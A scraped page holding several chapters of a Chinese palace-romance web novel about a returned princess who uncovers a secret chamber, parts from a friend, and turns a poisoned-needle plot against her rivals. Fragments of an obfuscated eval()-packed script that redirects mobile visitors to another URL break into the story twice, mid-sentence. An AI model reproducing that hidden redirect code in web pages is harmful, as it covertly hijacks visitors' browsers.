RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998767|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位想要和自己“老死不相见”的熟人呢。 顺着皇帝的视线看去,胥毓瞥见蟠龙柱下,一身绯色官服的邰玉轩出列跪地。 “微臣在。” 他额间碎发垂落,却掩不住眉眼间的沉稳英气。 随着他的出现,殿上的群臣也开始窃窃私语。 谁都知道,这位是镇国公府如今唯一的孩子,此次平乱归来,怕是要承袭世子之位了。 而皇帝看着殿中跪着的那个人,眼底也是满满的欣慰。 当初镇国公府男丁尽数为国捐躯,门楣将倾之时,镇国公夫人带回了这个丫鬟所生的孩子,他还忧心忡忡,觉得此子或许并不能挑起这偌大的镇国公府。 可不想短短几年的时间里,他竟成长的如此之快。 所以他一脸欣赏地道:“邰玉轩,此次平乱途中,你临危不乱,于敌军围困时设计破局,又在护送公主时力保公主安康,朕已尽知。” “朕念你忠孝两全,功绩卓然,今册封你为镇国公世子,加授奉国将军兼指挥使,赐蟒纹箭袖、玄铁令牌,可先斩后奏!望你承父之志,护我东陵江山!” 殿内顿时响起高呼万岁之声。 但邰玉轩却未急着谢恩,他抱了抱拳,抬头时眸光清亮:“臣谢皇上隆恩!然此次护驾并非臣一人之功,同行将士皆以命相搏,还望皇上能厚赏全军,以慰军心。” 这话一出,满殿寂静。 皇帝却是更为满意:“好!好个懂得体恤下属的镇国公世子!准了!全军上下皆加一级俸禄,重伤者另赐良田百亩!” 邰玉轩这才重重叩首:“臣代众将士谢皇上!” 但他刚起身,上座的皇帝不知是想到了什么,忽然又重重地叹息一声。 邰玉轩自然知道这是做给自己看的,毕竟有些话,作为帝王也不好主动开口。 所以他立马问道:“不知皇上是为何事烦忧?” 果不其然他一问,皇帝便紧跟着道:“邰卿,朕这几个孩子于武学上实在欠缺,裕嘉近年又一直虎视眈眈,朕心甚忧。如今北甸战事既了,爱卿的武艺朕也放心,不如接下来便由你负责教导几位皇子的武艺,你意下如何?” 虽问着他意下如何,但天子之求,何人敢拒。 问你,不过是走个形式,让你面上多几分光彩罢了。 所以邰玉轩抬眸看了皇帝一眼,随即垂首:“臣遵旨。” 但皇后此时却忽然开口:“陛下,既然要学武,不如让公主们也一同习练?昭云身子弱,正好强身健体。” 皇帝略一思索,点头应允:“也好,我东陵女子不输男儿,学些武艺也未尝不可。” 他话音一落,胥毓的胸膛便突突直跳。 公主也要学武。 那岂不是意味着,邰玉轩之后便要当自己的老师了? 她几乎是下意识的便朝着殿中那道绯红色的身影望去,却不想正好与蹙着眉头的邰玉轩目光相撞。 眼神交织,心也莫名发烫,胥毓率先心慌的移开视线。 他应该会拒绝的吧。 毕竟是他几次三番的说出什么再也不见的话来的。 可谁知左等右等,胥毓却只听见那人跪地说道:“回禀皇上,臣刚继任世子之位,家中尚有琐事处理,恳请皇上允臣三日后再入宫任教。” 皇帝颔首:“准。” …… 册封大典结束,众人依次退出大殿。 胥毓站在殿外的高阶上,目光不自觉地望向远处那道挺拔的身影。 邰玉轩身着绯色官袍,腰间玉带垂落,背影如松,在人群中格外醒目。 她本以为,自那日宫门口一别后,他们便不会再见了。 可命运偏偏又将他们牵扯在一起。 她轻轻按住胸口,感受着心脏的跳动,那里藏着的情绪格外复杂。 有不安,有犹豫,却也有一丝隐秘的庆幸。 “公主?”褚奎低沉的声音在身后响起。 胥毓最终还是收回目光,淡淡道:“走吧。” * 夜色渐深,整个皇宫陷入一片沉寂。 熟睡中的胥毓忽然睁眼,摸索着换上了一身夜行衣,然后从袖中取出一只通体碧绿的小虫。 这是她从小豢养的药虫,对特定的药汁气味极其敏感,那日在皇极殿将虎符交给皇帝之前,她已在虎符上浸满了特制的药液。 虽然她如今已经回到皇宫,并且成为了最得圣宠的公主。 但胥嘉的下场摆在眼前,依靠旁人权势的金丝雀注定没有自保的能力。 所以这东西今日荣宠加身她给得出,若日后无力自保她也要收得回。 她阿柳,从不做任人宰割之辈。 “去吧。”她轻声道。 药虫振翅飞起,在黑暗中划过一道微弱的荧光。 胥毓紧随其后,避开巡逻的侍卫,悄无声息地潜入了皇帝的寝宫。 今夜皇帝宿在了皇后宫里,所以寝宫内静悄悄的,只有几盏长明灯幽幽地亮着。 药虫最后停在一面雕花木墙前,盘旋不去,胥毓伸手,指尖在墙面上细细摸索,然后触到了一处微不可察的凸起。 “咔哒”一声轻响,墙面缓缓移开,露出一条幽深的密道。 皇帝的寝宫之中竟然还有密室! 胥毓屏住呼吸,踏入其中。 密道尽头是一间不大的密室,室内四壁摆满了书架,中央则是一张檀木案几。 虎符就放在案上的乌木盒子里。 胥毓并不打算现在就将东西拿走,她今日只是先探探路,防止以后若有变故束手无策。 所以确定东西在这里以后,她便打算原路返回。 可转身的时候,她忽然发现旁边还有几件女子的物件。 褪色的珠钗,断弦的琵琶,几封泛黄的信笺…… 她的父皇莫不是个变态,怎么会在自己的密室里面偷偷藏着一堆女人的东西? 胥毓的目光从那堆东西上一一划过,她没什么偷窥别人隐私的癖好,所粗略看过就打算离开。 可谁知转身的刹那,却被墙上挂着的一幅画像吸引。 画中女子一袭白衣,眉目如画,唇角含笑,竟与她有七分相似,只是比之她又多了几分温婉。 “这是谁?” 胥毓走近,指尖刚要触碰画像,密道外突然传来一阵急切的脚步声! 她心头一跳,迅速退到暗处。 脚步声渐近,隐约能听见皇帝低沉的嗓音:“……天师的药练得如何?” 胥毓屏住呼吸,心跳如雷。 就在皇帝即将踏入密室的刹那,外面突然传来急促的通报声:“皇上,高贵妃身子不适,请您过去看看。” 脚步声一顿,随即远去。 胥毓长舒一口气,又等了许久,确定不会再有人回来后,才最后看了一眼画像,然后悄然退出密室。 夜风拂过脸颊,带着冬日的凉意。 胥毓站在寝宫外的阴影里,望着满天星辰,思绪万千。 那女子是谁?为何与自己如此相似?又为何……被皇帝藏在密室之中? 她摸了摸胸口,那里埋藏着的不只是疑惑,还有一丝说不清,道不明的情绪。 邰玉轩三日后就要进宫任教,而她,似乎也触碰到了某个隐秘的真相。 这深宫之中,到底还藏着多少秘密? 18. 分别 册封大典结束以后,云溪在皇宫里陪着胥毓又呆了一日,便打算出宫了。 胥毓为她收拾东西。 金银珠宝,绫罗绸缎,还有她爱吃的几样点心,全都一股脑的装了起来。 而离别的主人公云溪,却是不慌不忙地歪坐在一旁的榻上,扯着今早从窗外探进来的一只腊梅说道:“这花开得真好,比我们路上见过的野花精致多了。” 胥毓嘱咐宫女们继续收拾东西,自己则坐到云溪对面,喝了口热茶说道:“再好看的花,种在宫墙里,也活不痛快。” 云溪闻言抬头,正对上胥毓幽深的眼眸。 她突然拍了拍裙摆,然后站起身:“阿柳,走之前,我还有些话跟你说。” 这些话自然不太方便让别人听到,所以宫女们继续在殿内收拾,云溪和胥毓便出门朝着御花园走了去。 阿柳只带了一个宫女远远跟着,两人沿着青石小径缓步而行,晨雾在脚下缭绕。 行至僻静处,云溪突然站定:“阿柳,你还记得我和你说过这是个话本世界吗?” 胥毓斜倚在太湖石上,阳光透过树叶在她脸上投下斑驳光影:“当然记得,你说胥嘉是女主,太子是男主。” “不止如此。”云溪深吸一口气,“胥嘉前世,其实死得很惨。” 一阵凉风掠过,卷起满地残叶。 云溪的声音混在这沙沙声中:“她从小受尽宠爱,天真烂漫,却无意中在六岁那年遇见了被宫人欺负的太子,那个时候的太子不得圣宠,可怜的让她心疼。” 胥毓眸光微动,想起太子那双总是含着戾气的眼睛。 心疼?拿刀砍的那种疼吗? “从那之后,她就日日去陪太子说话,给他送点心。”云溪摘下一片枯叶拿在手中把玩,“太子起初厌恶她的靠近,把点心扔在地上践踏。” 落叶在云溪指间碎成齑粉,随风飘散。 “后来呢?” “后来……”云溪笑了笑,“太子渐渐对她敞开心扉。但太子一直觉得是皇后害死了他的母亲先皇后,所以他既爱胥嘉,又恨她是皇后之女。” 远处传来宫女的嬉笑声,两人默契地停下话头。 待声音远去,云溪才继续道:“他们互相折磨多年,最终在太子兵变前夜,遇上了皇后在宫宴上下毒。” 胥毓瞳孔微缩,“皇后下毒?” 她忽然想起那天晚上在密室中看到的那幅画像,会和那个人有关系吗,会……和自己有关系吗? “当时所有人都身中剧毒,胥嘉哭着问皇后为何如此,皇后告诉她……”云溪声音唏嘘,“说她只是个假公主。” 一片细小的雪花落在了胥毓肩头,但她却并没有拂去。 “可皇后最后或许还是不舍,所以把唯一的解药给了胥嘉,但谁知胥嘉却转手塞进了太子口中。”云溪攥紧了拳头,“她死在太子怀里,最后灵魂在太子身边,看着他一个人坐上龙椅。” 胥毓不懂,有解药干嘛不自己吃。 作为整个皇族最后的血脉,若手段稍稍伶俐些,由她登上皇位也未尝可知。 可她倒好,给了太子。 胥毓撇了撇嘴,“所以之后她就重生了,带着满腔怨恨?” 云溪点头:“她重生到了出生的那天。这一世的胥嘉,再不是那个天真的少女,她恨皇后,恨皇帝,恨这座吃人的皇宫!” “除了太子?” “除了太子。”云溪叹息,“她发誓这一世要坚定不移地站在太子身边,助他登上皇位。” 湖面泛起涟漪,似乎有游鱼在水底潜游。 胥毓盯着那圈扩散的水纹,忽然想到在胥嘉的认知里,不管是前世还是今生,自己都应该是一个回不来的死人。 毕竟她的公主之位无论是她所知晓的前世,还是云溪所知道的她重生后的画本子里,都是从头到尾只属于她一个人的。 想到这里,胥毓倏地轻笑一声,“看来我真是个意外。” “也正因如此,胥嘉才视你为眼中钉。”云溪急道,“她和太子现在虽然表面克制,但背地里一定在谋划什么。” “我知道。”胥毓打断她,“但我没想和他们争什么的。” 云溪抓住她的手腕:“可他们不会信!胥嘉重生后心狠手辣,太子又偏执成性,他们不会允许你这个变数存在的!” 胥毓望向远处的宫墙,目光幽深:“我只是想要一个家。” 一个普通的,有父亲有母亲,有人爱她的家。 一个人体会过温情,又怎么甘心再做颠沛流离的浪子? 看着胥毓眼底流露出来的悲戚,云溪张了张嘴,最终叹了口气:“防人之心不可无。” “我懂。”胥毓突然唤她,“云溪,你相信命运吗?” 云溪怔住。 胥毓抬手接住一片飘落的雪花:“如果真有命运,那我觉得,活着回来,或许就是我与他们二人之间胜利的开始。” 细雪飘飘扬扬,为两人的黑发覆上一层白霜,云溪望着胥毓坚韧的侧脸,忽然觉得这个从山野里走出来的公主,或许真能搅动这潭宏图霸业的死水。 …… 分别时,玄武门口,云溪突然回头:“阿柳,我总觉得……这宫里似乎藏着比话本更深的秘密。” 胥毓的衣袂被风吹得猎猎作响,她没有回答,只是抬手挥了挥。 待云溪的身影消失在宫门处,她才轻声道:“我知道。” 她的目光越过重重宫墙,望向皇帝寝宫的方向。 那里藏着一幅画像,画中女子与她有七分相似,尤其是那双眉眼,几乎是一模一样。 * 送走云溪后,胥毓并没有急着回未央宫,而是带着琴夏在这深宫里胡乱的游荡。 不知不觉间,雪纷纷洒洒的落了下来,但胥毓却仍旧没有回去的打算。 她带着琴夏穿过福鸿门,走过永和宫,途径西三所,最终停留在了赏景的宛然阁,欣赏着仁寿花园里厚雪之下怒放着的朵朵红梅。 疏影横斜水清浅,暗香浮动月黄昏。 她从前竟没有发现过,原来冬日傲梅,竟也是别有一番彻骨滋味! 看了足有一两个时辰,胥毓的手脚都冻的冰冷了,才站起身来活动了一下。 “回去了吗,公主?天已大寒,冻坏了身子可如何是好。” 琴夏跟在胥毓的身后,瞧见她的耳朵根都已冻的通红,有些担忧的询问了一声。 “冻冻才好,凉一凉心,脑子里面才更清醒一些。” 胥毓说着笑了笑,也不知是说的玩笑话,还是心里面真就这么想的。 “你回去穿的厚实些,再拿件裘衣过来接我,我打算再去城墙上走走。” 胥毓说完,便独自转身朝着仁寿宫的方向走了去。 看着胥毓独身离开的背影,琴夏虽是放心不下,但也别无他法,于是只得焦急的跺了跺脚后应了声“是”,然后飞快的朝着未央宫跑回去。 撇开琴夏以后的胥毓落寞的在飞雪里走走停停,路过的宫人们都惊诧的向她行礼,不知这正得圣宠的荣安公主今日为何会在飞雪中独自游荡。 但这毕竟是位高不可攀的宫廷贵人,所以众人心中再是不解,也只能低下头继续安心的做好自己手头的事。 行至仁寿宫以后,胥毓又穿过了东花园和东内府,紧接着绕过太医院,又经过了南宫监和仪銮监两处大殿,最后才终于穿过了协和门行至午门。 可就在她打算顺着阶梯爬上城墙之时,一道熟悉的呼喊声却忽然在她的身后响起。 “荣安公主。” 或许是被冻的太久了,所以连思绪都已经有了几分迟钝。 胥毓缓缓地顺着声音传来的方向转过了身,便见穿着一身玄衣的邰玉轩已经行至她身前。 他今日不知为何进宫,穿的便装,一头黑发利落的挽在头顶,只用一根玉簪稍作装饰。 此刻他身上的大氅已经被解了下来搭在手上,看胥毓转过了身便道了句“得罪”。 然后他将腕间的大氅抖了抖,似乎想抖落上面压根儿就不存在的飞雪与细尘,然后便轻轻的披在了胥毓肩头。 但却守礼的并没有替她系上绑带。 毕竟那样离得太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009274|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近,太逾矩。 做完这些以后,他又将手里的雨伞递到胥毓面前。 “飞雪眯眼,公主殿下千金之躯,莫要冻伤了身体。” 但胥毓却只是面无表情的看着眼前的男子,就好像从不认识他一样,隔了好一会儿才冷漠的开口道:“你是何人?” 邰玉轩动了动嘴角,脸上闪过一抹错愕,但似乎又不知道如何开口。 所以只好踟蹰的沉默着。 见他不说话,胥毓又伸出手,慢慢地将冰凉的手指顺着伞柄滑落到了邰玉轩的手背上。 邰玉轩的手掌炙热如火,这一瞬冰与火的碰撞产生的刺激,使他不由的发出了一阵战栗。 而就在这时,胥毓直接抓住他的手腕,将他一把带到了身前! “怎么不说话,这么关心本公主,莫不是喜欢我吧,邰将军?” 骤然拉近的距离几乎让邰玉轩心跳骤停,他抬起头猛的看向眼前这个妆发凌乱却又透出一股惊心动魄的美艳女子,心底是一阵抑制不住悸动。 “……没有。”可脱口而出的话却还是一如既往的决绝。 胥毓微微勾唇发出一声冷笑:“最好是这样!” 然后借着手上的力道,猛地将邰玉轩推倒在地。 与此同时,她身上的大氅也滑落在了脚下的厚雪之上,但她却丝毫不在意,只毫不犹豫地转身踩过那件大氅向着巍峨的城楼登去。 她边走边用比冰雪还冻人的腔调朝邰玉轩说道:“邰玉轩,你既要装君子,又何必来招惹我?” 邰玉轩坐在冰冷的雪地里,油纸伞顺着他摔倒的力道被甩出老远,但他却顾不上去捡,仍旧呆愣愣地看着胥毓远远离去的背影。 直到那一抹嫣红的身影渐渐在他的视野里变得模糊,他才有些失神的站起身来,捡起那被雪水浸湿了的大氅。 胥毓登上城墙以后,发现上面的风雪较之下面大的可不是一星半点儿,于是她不由得蜷缩起了冻僵了的手掌,双手抱臂裹紧了自己身上的衣裳。 她靠在城墙边,俯身阅览着这被冰雪覆盖了的绿瓦红墙。 这满地看似清白的积雪也不知实际上将多少见不得光的冤屈埋藏,她默默地吐出一口冷气,便见邰玉轩撑着油纸伞的身影又从城墙下闯入她的视线。 他高挺的身姿丝毫看不出方才倒在雪地里的狼狈,浑身上下所透露出来的是利剑一般的凌厉与潇飒。 胥毓默默的注视着他,心底发出一声冷哼:这般又当又立,着实可笑至极! 忽然,似有所感一般,城楼下的他停下了脚步,倾斜了油纸伞便要向上张望。 但这脸才转了一半,又好似忽然想起了什么,顿了一顿。 偏巧这时,回去拿衣服的琴夏急匆匆地赶了来,“公主,裘衣拿来了,奴婢替您穿上!” 她先将手里温暖的手炉和雨伞塞到胥毓手里,才扯起裘衣往胥毓身上套。 “不是说让你先自己穿一件衣服吗,你怎么没穿?” 胥毓抬起手臂,任由琴夏将裘衣套在自己快冻僵了的身上。 “奴婢不冷,公主的身体才是最重要的!” 穿戴好以后,琴夏便从胥毓手里接过雨伞,然后恭敬的低下头。 胥毓搓了搓手背,似乎想用手心的温度让冻僵了的身体完全暖和起来,但毕竟被风雪侵袭了太久,要想回暖,必然没那么快。 所以思索片刻,她还是决定暂且先回未央宫里呆着。 “算了,逛累了,回去了吧。” “是,公主。” 于是胥毓便带着琴夏就这般头也不回的沿着梯阶走下了城墙,朝着未央宫不急不缓的赶了回去。 她走得很决绝,这一路上都并没有回头,亦如她孤注一掷,勇往直前的性格一般,孤勇而热烈。 但是说如果,如果她愿意,哪怕是多花那么一瞬的时间回头看上一眼的话。 她就会发现,那个本该早已离去了的少年郎,竟还站在风雪里,举着那把油纸伞,挽着那件大氅,隔着遥远的距离望着她。 只是那种遥远,似乎又不只是量尺所裁定的遥远…… 19. 好戏开场 晨光透过窗棂斜洒进来时,在青砖地板上投下一片斑驳的光影。 胥毓支着下巴坐在梳妆台前,铜镜里映出她略显疲惫的面容。 琴夏正小心翼翼地替她梳发,象牙梳齿穿过如瀑青丝,发出细微的沙沙声。 “公主今日似乎气色不太好呢。”琴夏轻声细语,手上动作不停,“待会儿奴婢给您多抹些胭脂可好?” 胥毓望着镜中自己眼下淡淡的青影,摇了摇头:“不必了。” 她伸手拨弄着妆台上的珠钗,语气里带着几分不耐,“崇文馆那边,今日必须去吗?” 东陵城的贵族子女都会被送到崇文馆上课,但自册封大典后,胥毓一拖再拖,始终没去。 她对这劳什子的课业实在是没兴趣。 可皇后也不知是打哪儿得来的消息,知道了胥毓一直窝在未央宫里没去,昨夜便特意把人叫到跟前训斥了一顿,让她今日无论如何都必须去。 毕竟,今日也是邰玉轩授课的第一日。 邰玉轩啊…… 胥毓把手里的珠钗扔回妆匣,忽然就觉得心里面更加烦闷了。 琴夏见状抿嘴一笑,她取出一支雀鸟衔珠步摇,轻轻插在胥毓的发髻上:“邰将军今日第一日授课,陛下特意嘱咐过的,公主若是不去,怕是不妥。” 胥毓盯着镜中那个珠光宝气的自己,恍惚间竟觉得有些陌生。 在丹骆村时,她只需用一根布带将头发随意一扎,就能漫山遍野地跑。 如今却要每日花上大半个时辰梳妆打扮,甚至连走路都要注意步摇不能晃动得太厉害,否则教导规矩的芳吟就又要一遍接一遍的在她耳边念叨。 看来这做公主实在也没多好。 “我的那些个兄弟姐妹们平日里都会去上课吗?”胥毓突然问道。 “是的。”琴夏一边替她整理衣领,一边细声解释,“除了各位皇子公主,三品以上官员家的子女,皆会入崇文馆上课。男学经史、骑射、礼仪、谋略,女学妇德、女红、诗书、礼仪。官宦子女里去得多为嫡系,像礼部尚书家的赵小姐,御史家的唐公子,兵部侍郎家的李公子……” 胥毓听着这一长串称呼,只觉得太阳穴隐隐作痛。 她回宫不足半月,光是记这些人的名字和关系就够费神了,更别说还要应付他们明里暗里的试探和刁难。 “公主不必忧心。”琴夏似是看出了她的烦闷,温声劝道,“您是陛下亲封的荣安公主,身份尊贵,没人敢对您不敬。” 胥毓扯了扯嘴角,没有答话。 身份尊贵? 只可惜在这深宫里,越是尊贵的身份,就越是容易成为众矢之的。 正想着,殿外突然传来一阵脚步声。 几个宫女捧着托盘鱼贯而入,领头的芳吟满脸堆笑:“公主,您吩咐奴婢给褚侍卫准备的鞋子已备好,皇上赏赐的云锦制的新衣也送到了。” 琴夏手上动作一停,听罢立即惊喜地迎了上去:“这么快便做好了吗,姑姑,快展开给公主瞧瞧!” “不急。”可胥毓抚了抚发髻,却没急着看衣服。 而是起身先取过托盘上为褚奎准备的新鞋,仔细看了看尺寸大小,以及布料款式,才一脸满意的点了点头。 比她做得好! “褚奎。”她朝着院子里摆了摆手。 褚奎自从自请跟在胥毓身边伺候以后,平日里便都在她的院子里头当值,但又因他并非内侍,不得贴身伺候,所以通常不会进屋。 此刻胥毓唤他,他才快步进来。 “公主有何吩咐?”他拱手行礼。 胥毓当即便把鞋子递到他的面前,“快试试这鞋。” 回宫以后,胥毓便吩咐了人先给褚奎做几双合脚的鞋,毕竟皇宫重地,成日里穿着一双粗线勾缝,连底子都缺上一截的鞋子,实在有失妥当。 可那时候褚奎的身份低下,尚衣局做得鞋子用料一般,御寒能力也较为普通。 虽然也还是能穿,但对标他之后御前侍卫的身份,到底是有些寒酸。 所以皇帝送来那批云锦料子裁制新衣的时候,她便又嘱咐人给褚奎也做了一双皂靴,当做是给他准备的晋升礼物。 那皂靴在鞋头和靴口等地方都用了少量的云锦镶边,如此便既显示出了靴子的贵重,又不影响日常穿着的舒适。 褚奎接过鞋子后,指尖触到光滑的缎面,心头猛地一颤。 这料子他认得,是御赐的云锦,往日只在王公贵族的衣袍上见过。 如今这样金贵的料子,竟给他做成了靴子。 他捧着鞋的手有些不稳,喉结上下滚动了两下,才低声道:“公主,这太贵重了......” 胥毓却浑不在意地摆摆手,“快试试合不合脚。”她眉眼弯弯,带着几分期待,“若是不合适,我再叫人去改。” 褚奎只得坐下,动作格外小心,仿佛手中捧的是什么易碎的珍宝。 他解下自己才穿了几日的布鞋,露出里面纯白的布袜,突然觉得有些脸热,脚趾不自觉地蜷缩了一下。 来到皇宫以后,他的衣物似乎都是胥毓给他准备的。 一个女子为他准备贴身所穿的衣物,尽管她也只是动动嘴吩咐了一下下人,但在从前,却也是他想都不敢想的事情。 褚奎偷偷瞥了一眼胥毓,见她的视线还落在自己的手上,不知为何突然有些心慌,于是赶忙把新鞋套在脚上。 新靴上脚的瞬间,他呼吸一滞。 内衬柔软得像云朵,恰到好处地包裹住他的脚掌,每一寸都妥帖得不可思议。 他站起身,靴底传来轻微的弹性,走起路来轻快得仿佛要飞起来。 “如何?”胥毓凑近了些,发间隐约有股淡淡的香味。 褚奎慌忙退后半步,耳根发烫,“很……很好!” 他声音干涩,胸腔里有什么东西在剧烈跳动。 “那就好!”胥毓满意地点了点头,随口道:“你如今是御前侍卫了,总该有双体面的靴子。” 但这话像盆冷水,让褚奎发热的头脑瞬间清醒了几分。 是了,她待他好,不过是因为他现在是她的侍卫罢了。 他瞥见梳妆台上铜镜中的脸庞,粗眉黑脸,与这精致的皂靴格格不入,与眼前这个如珠如玉的公主更是云泥之别。 他攥紧了拳头,指甲深深掐进掌心。 不该有的心思,就该死死按灭,毕竟能站在她身后守护,就已是天大的福分。 “褚奎?”见褚奎眉头紧锁,胥毓有些疑惑,“发什么呆呢?” “属下……”他仓促回神,然后连忙跪下,“谢公主赏赐!” 胥毓噗嗤一笑,伸手扶他起来,“快起来,你我之间不必如此,虽然明面上你是我的侍卫,但说实话,在我心里,你其实和云溪一样都是我的朋友。” 她的眼神清澈,带着纯粹的笑意,反倒是让褚奎心里的别扭更甚。 朋友。 褚奎在心里默念着这个词,既庆幸又苦涩,他低着头站起来,不敢让她看见自己发红的眼眶。 而胥毓这时却已经移开视线,朝着旁边的云锦新衣走去。 她抬眼望去,只见托盘上整齐叠放着的十套华服,在晨光下泛着柔润的光泽。 最上面那件正红色绣金凤的宫装尤其夺目,金线绣成的凤凰栩栩如生,仿佛下一刻就要振翅飞起。 琴夏小心翼翼地抚过衣料,眼中满是艳羡,“皇上对公主真是宠爱有加。” 芳吟也跟着奉承:"可不是,连太子殿下都未曾一次得过这么多赏赐,奴婢在宫里这些年,还是头一回见皇上对哪位公主这般上心。" 胥毓听着这些恭维,嘴上不说,但心里却还是很高兴的,毕竟,谁会不喜欢自己的父母疼爱自己。 她唇畔带笑,伸手将那件正红色宫装从托盘上拿起,入手的触感柔软光滑,格外细腻。 她正犹豫着今日要不要挑件喜欢的穿去上课,却不想在下一秒顿觉手上一痛! “嘶!” 一阵尖锐的刺痛从指尖 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“当众出丑倒是其次。”胥毓接过他的话,眼中寒光闪烁,“若非我懂医术,救治拖延些时候,恐怕我这只手掌能不能保下都不好说!” 褚奎沉默片刻,突然道:“公主近日可曾得罪什么人?” 胥毓嗤笑一声:“在这宫里,不得罪人比得罪人还难。” 她说着走到窗前,望着远处崇文馆的方向,思绪翻涌。 皇帝不会害她,皇后虽冷淡却也不至于用这种手段。 几位皇子中,太子阴郁但骄傲,他的战场在朝堂上,所以暂时不会用这种方式对付自己。 二皇子是个酒囊饭袋,对一切都漠不关心。 三皇子虽对太子格外殷勤,但没有太子授意也绝不会贸然出手。 所以,就只剩下那几位公主了。 胥嘉心思深沉,若要动手,绝不会用这种小打小闹的毒。 胥昭云体弱多病,性子安静,不像是会做这种事的人。 胥锦婳如今还有些让人捉摸不透。 至于胥弦月…… 胥毓唇角勾起一抹冷笑。 蠢,却最容易被当枪使。 “公主打算如何?”褚奎沉声问道,手指无意识地摩挲着腰间刀柄。 胥毓没有立即回答,她走到妆台前,从暗格中取出一个小瓷瓶,倒出几滴幽绿色的药液滴在那根毒针上。 药液顺着针尖滑落,竟将原本的黑色毒液一点点吞噬,针尖渐渐泛出诡异的青紫色。 “既然有人想看我中毒出丑。”她慢条斯理地用帕子包裹住毒针,然后连带着解药一起递给褚奎,“那不如将计就计。” 褚奎接过毒针,眉头微皱:“公主的意思是?” “崇文馆人多眼杂,你且看准时机,将这针扎在我身上。”胥毓眸中闪过一丝冷光。 褚奎握紧手中的帕子,喉结滚动了一下:“公主,这太冒险了。” “不冒险,怎么引蛇出洞?”胥毓转身望向窗外,阳光在她的侧脸投下淡淡的阴影,“敌在暗我们在明,总得给他们一个露面的机会。” 褚奎还想再劝,但胥毓却已经下定决心。 她摆手让褚奎出去,然后利落的拿起那件正红色宫装,神色平静地开始更衣。 晨光透过窗棂,在她身上镀上一层金边,衬得那抹红色愈发鲜艳夺目。 “记住。”胥毓系好最后一根衣带,转头看向门外的褚奎,眼中闪烁着危险的光芒,“待会儿不管发生什么,都要等我示意再行动。” 褚奎深深地看了她一眼,终是将那方帕子收入袖中,沉声道:“属下明白。” 殿外,晨钟响起,崇文馆的晨课即将开始。 胥毓最后看了一眼铜镜中的自己,唇角勾起一抹若有似无的冷笑。 好戏,就要开场了。 20. 树敌不少 崇文馆的檐角铜铃在晨风中叮当作响,朱红廊柱下,胥毓被一众宫女簇拥着缓步而来。 她今日特意穿了那件正红色绣金凤的宫装,裙摆逶迤在青石板上,像一簇跳动的火焰。 转过回廊,迎面便撞见刚从藏书阁出来的邰玉轩。 他一身靛青色锦袍,腰间玉带垂落,手中捧着几卷竹简。 四目相对的瞬间,邰玉轩明显僵了一下,随即垂下眼帘,侧身让到一旁。 “见过荣安公主。” 他的声音比秋霜还冷,行礼的动作标准得挑不出一丝错处。 胥毓盯着他低垂的睫毛,突然想起丹骆村的某个夏天,少年邰玉轩似乎也曾这样站在自己面前。 只是彼时的他,可从不会这样漠视于自己。 “邰将军。”心里的烦闷促使胥毓故意往前迈了一步,距离太近,她似乎还能闻见对方身上那股淡淡的松墨香,“今日第一日授课,可要对我这个学生多些耐心。” 邰玉轩喉结滚动,不着痕迹地后退半步:“公主言重了。” 但胥毓步步紧逼,指尖甚至轻轻划过他手中的竹简:“邰将军躲什么,莫非我比战场上的蛮夷还要可怕?” “荣安公主……”独特的女儿香萦绕在鼻尖,邰玉轩泛红的耳尖暴露了他此刻的慌乱。 每次遇见阿柳,他总会如此失控,活像当初那个还是愣头青一样的小孩似的。 而且,她分明还什么都没做。 邰玉轩深吸一口气,强迫着自己板起脸:“臣还要去准备课业,先行告退。” 看着那道近乎落荒而逃的背影,胥毓唇边的笑意渐渐冷却。 “公主喜欢邰将军?”褚奎不知何时站在了她身后。 胥毓转身朝着崇文馆的方向走去,裙摆扫过石阶上零落的花瓣:“喜欢如何,不喜欢又如何,我与他之间,到底是有缘无分。” 但话一出口她就有些后悔了。 毕竟这话说得,倒像是她对邰玉轩还真有什么念想似的。 到达崇文馆以后,馆内已坐了不少人。 胥毓刚踏入殿门,原本的谈笑声就戛然而止。 胥阳丹坐在首位,冷眼扫过来,胥嘉一袭月白色衣裙,正低头写字,连头都没抬。 胥华荣与胥昭云笑着朝她点了点头,其他人除了好奇,倒也没什么多余的动作。 邰玉轩站在讲台上,见胥毓进来,神色复杂地看了她一眼。 但胥毓却像没看见似的,径直走到自己的位置坐下,连个眼神都没多给他。 邰玉轩握竹简的手紧了紧,指节略微泛白,但人多眼杂,到底是没再多说什么。 他看着学堂内的人尽数来齐,便摊开了手中竹简,冷声说道:“今日讲授射艺基础。正所谓弓分三等,力分九石.....” 温润的声音充斥于耳,胥毓单手支颐,看似在听讲,实则却用余光将几位公主的反应尽收眼底。 胥嘉写字的手稳如磐石,胥昭云认真记着笔记,胥锦婳时不时偷瞄自己,而胥弦月…… 胥毓眯起眼睛。 胥弦月从她进门起就一直在偷瞄她的衣领,似乎在等待着什么。 胥毓不动声色的冷笑一声,然后移转目光,像是没发现某些人的反常。 讲授完基础理论后,约莫巳时正,众人在邰玉轩的带领下移步靶场。 晴日悬于寒空,不似夏暑灼灼,却如温玉洒遍,将整个靶场的草靶照得发亮。 胥毓带着褚奎和琴夏走在最后,隐约听见前面几个世家公子正凑在一起窃窃私语。 “听说荣安公主身边那个侍卫,是她在民间捡的?” “可不是,整天形影不离的,也不知道是什么关系……” “嘘,小点声,人家可是公主!” “公主怎么了?不过是个山野丫头,运气好……” 胥毓脚步一顿,褚奎眼中杀意骤现,却被她一个眼神制止。 “几位公子。”胥毓不怒反笑,眉眼弯弯地朝着几人走了过去,“在聊什么这么开心,能说给本公主听听吗?” 那几个公子哥顿时僵住,纷纷左顾右盼不知所措。 